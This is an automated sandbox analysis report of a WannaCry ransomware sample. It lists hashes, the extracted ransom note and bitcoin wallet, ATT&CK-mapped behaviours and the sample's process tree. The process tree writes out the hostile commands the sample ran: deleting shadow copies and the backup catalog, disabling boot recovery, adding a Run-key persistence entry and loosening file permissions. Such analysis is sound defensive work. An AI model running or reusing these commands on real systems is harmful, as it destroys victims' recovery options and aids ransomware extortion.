wannacry | 72b228f51cf5a1b7600f0e0848145e4e54e54838977a5a5b1c85f69b64b92cf5

Resubmissions

30-12-2019 20:47

191230-nn16lt3qm2 10

30-12-2019 14:17

191230-y8z7sllm8a 10

Analysis

max time kernel
141s
resource
win10v191014
submitted
30-12-2019 14:17

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General

Target

test.zip
Sample

191230-y8z7sllm8a
SHA256

72b228f51cf5a1b7600f0e0848145e4e54e54838977a5a5b1c85f69b64b92cf5

Score

10^/10

ransomware persistence worm wannacry

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\@[email protected]

Family

wannacry

Ransom Note

Q: What's wrong with my files? A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted. If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely! Let's start decrypting! Q: What do I do? A: First, you need to pay service fees for the decryption. Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn Next, please find an application file named "@[email protected]". It is the decrypt software. Run and follow the instructions! (You may need to disable your antivirus for a while.) Q: How can I trust? A: Don't worry about decryption. We will decrypt your files surely because nobody will trust us if we cheat users. * If you need our assistance, send a message by clicking <Contact Us> on the decryptor window. �

Wallets

115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn

Signatures

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4920 wrote to memory of 4940	4920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	72
PID 4920 wrote to memory of 4960	4920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	74
PID 4920 wrote to memory of 2020	4920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	77
PID 4920 wrote to memory of 4356	4920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	78
PID 4356 wrote to memory of 3992	4356	cmd.exe	80
PID 4920 wrote to memory of 724	4920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	88
PID 4920 wrote to memory of 820	4920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	89
PID 4920 wrote to memory of 4980	4920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	90
PID 4980 wrote to memory of 2064	4980	cmd.exe	92
PID 820 wrote to memory of 1428	820	@[email protected]	96
PID 2064 wrote to memory of 3984	2064	@[email protected]	98
PID 3984 wrote to memory of 3540	3984	cmd.exe	100
PID 3984 wrote to memory of 4516	3984	cmd.exe	103
PID 4920 wrote to memory of 4732	4920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	105
PID 4920 wrote to memory of 4756	4920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	106
PID 4920 wrote to memory of 4860	4920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	107
PID 4860 wrote to memory of 4164	4860	cmd.exe	109
PID 4920 wrote to memory of 4192	4920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	110
PID 4920 wrote to memory of 1648	4920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	114
PID 4920 wrote to memory of 1868	4920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	115
PID 4920 wrote to memory of 784	4920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	116
PID 4920 wrote to memory of 4312	4920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	122
PID 4920 wrote to memory of 3436	4920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	123
PID 4920 wrote to memory of 3984	4920	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	124

Executes dropped EXE 14 IoCs

pid	Process
2020	taskdl.exe
724	taskdl.exe
820	@[email protected]
2064	@[email protected]
1428	taskhsvc.exe
4732	taskse.exe
4756	@[email protected]
4192	taskdl.exe
1648	taskse.exe
1868	@[email protected]
784	taskdl.exe
4312	taskse.exe
3436	@[email protected]
3984	taskdl.exe

Adds Run entry to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\nmsqcsinudawe237 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tasksche.exe\""

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2064	@[email protected]
820	@[email protected]
4756	@[email protected]
1868	@[email protected]
3436	@[email protected]

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1428	taskhsvc.exe

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
4940	attrib.exe

Loads dropped DLL 1 IoCs

pid	Process
1428	taskhsvc.exe

Suspicious use of AdjustPrivilegeToken 27 IoCs

description	pid	Process
Token: SeBackupPrivilege	4760	vssvc.exe
Token: SeRestorePrivilege	4760	vssvc.exe
Token: SeAuditPrivilege	4760	vssvc.exe
Token: SeIncreaseQuotaPrivilege	4516	WMIC.exe
Token: SeSecurityPrivilege	4516	WMIC.exe
Token: SeTakeOwnershipPrivilege	4516	WMIC.exe
Token: SeLoadDriverPrivilege	4516	WMIC.exe
Token: SeSystemProfilePrivilege	4516	WMIC.exe
Token: SeSystemtimePrivilege	4516	WMIC.exe
Token: SeProfSingleProcessPrivilege	4516	WMIC.exe
Token: SeIncBasePriorityPrivilege	4516	WMIC.exe
Token: SeCreatePagefilePrivilege	4516	WMIC.exe
Token: SeBackupPrivilege	4516	WMIC.exe
Token: SeRestorePrivilege	4516	WMIC.exe
Token: SeShutdownPrivilege	4516	WMIC.exe
Token: SeDebugPrivilege	4516	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4516	WMIC.exe
Token: SeRemoteShutdownPrivilege	4516	WMIC.exe
Token: SeUndockPrivilege	4516	WMIC.exe
Token: SeManageVolumePrivilege	4516	WMIC.exe
Token: 33	4516	WMIC.exe
Token: 34	4516	WMIC.exe
Token: 35	4516	WMIC.exe
Token: 36	4516	WMIC.exe
Token: SeTcbPrivilege	4732	taskse.exe
Token: SeTcbPrivilege	1648	taskse.exe
Token: SeTcbPrivilege	4312	taskse.exe

Deletes shadow copies 2 TTPs 2 IoCs

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
4516	WMIC.exe
3540	vssadmin.exe

Modifies file permissions 1 TTPs 1 IoCs

File and Directory Permissions Modification

T1222

pid	Process
4960	icacls.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc
Set value (str)	\REGISTRY\USER\S-1-5-21-634046074-2673730973-2644684987-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4164	reg.exe

Wannacry
WannaCry is a ransomware cryptoworm.
ransomware worm wannacry

Drops startup file 6 IoCs

description	ioc	Process
File deleted	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SDCBCF.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File created (read-only)	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SDCBE6.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SDCBE6.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File deleted	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SDCBE6.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File created (read-only)	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SDCBCF.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SDCBCF.tmp	ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe

C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
"C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"
1⤵
- Suspicious use of WriteProcessMemory
- Drops startup file
PID:4920
- C:\Windows\SysWOW64\attrib.exe
  attrib +h .
  2⤵
  - Views/modifies file attributes
  PID:4940
- C:\Windows\SysWOW64\icacls.exe
  icacls . /grant Everyone:F /T /C /Q
  2⤵
  - Modifies file permissions
  PID:4960
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:2020
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c 214371577719079.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4356
- - C:\Windows\SysWOW64\cscript.exe
    cscript.exe //nologo m.vbs
    3⤵
    PID:3992
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:724
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected] co
  2⤵
  - Suspicious use of WriteProcessMemory
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:820
- - C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe
    TaskData\Tor\taskhsvc.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Loads dropped DLL
    PID:1428
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c start /b @[email protected] vs
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4980
- - C:\Users\Admin\AppData\Local\Temp\@[email protected]
    @[email protected] vs
    3⤵
    - Suspicious use of WriteProcessMemory
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:2064
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3984
    - - C:\Windows\SysWOW64\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        5⤵
        Deletes shadow copies
        
        PID:3540
    - - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        wmic shadowcopy delete
        5⤵
        Suspicious use of AdjustPrivilegeToken
        Deletes shadow copies
        
        PID:4516
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4732
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:4756
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "nmsqcsinudawe237" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4860
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "nmsqcsinudawe237" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f
    3⤵
    - Modifies registry key
    PID:4164
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:4192
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1648
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:1868
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:784
- C:\Users\Admin\AppData\Local\Temp\taskse.exe
  taskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4312
- C:\Users\Admin\AppData\Local\Temp\@[email protected]
  @[email protected]
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:3436
- C:\Users\Admin\AppData\Local\Temp\taskdl.exe
  taskdl.exe
  2⤵
  - Executes dropped EXE
  PID:3984

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4760

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Hidden Files and Directories

T1158

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File Deletion

T1107

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

memory/1428-63-0x00000000038C0000-0x00000000038C1000-memory.dmp

Filesize
4KB

Download
memory/1428-62-0x00000000040C0000-0x00000000040C1000-memory.dmp

Filesize
4KB

Download
memory/1428-61-0x00000000038C0000-0x00000000038C1000-memory.dmp

Filesize
4KB

Download
memory/1428-225-0x00000000038C0000-0x00000000038C1000-memory.dmp

Filesize
4KB

Download
memory/1428-226-0x00000000040C0000-0x00000000040C1000-memory.dmp

Filesize
4KB

Download
memory/1428-227-0x00000000038C0000-0x00000000038C1000-memory.dmp

Filesize
4KB

Download
memory/1428-243-0x00000000038C0000-0x00000000038C1000-memory.dmp

Filesize
4KB

Download
memory/1428-390-0x0000000003F10000-0x0000000003F11000-memory.dmp

Filesize
4KB

Download
memory/1428-391-0x0000000004710000-0x0000000004711000-memory.dmp

Filesize
4KB

Download
memory/1428-392-0x0000000003F10000-0x0000000003F11000-memory.dmp

Filesize
4KB

Download
memory/1428-493-0x0000000003F10000-0x0000000003F11000-memory.dmp

Filesize
4KB

Download
memory/4920-36-0x0000000010000000-0x0000000010010000-memory.dmp

Filesize
64KB

Download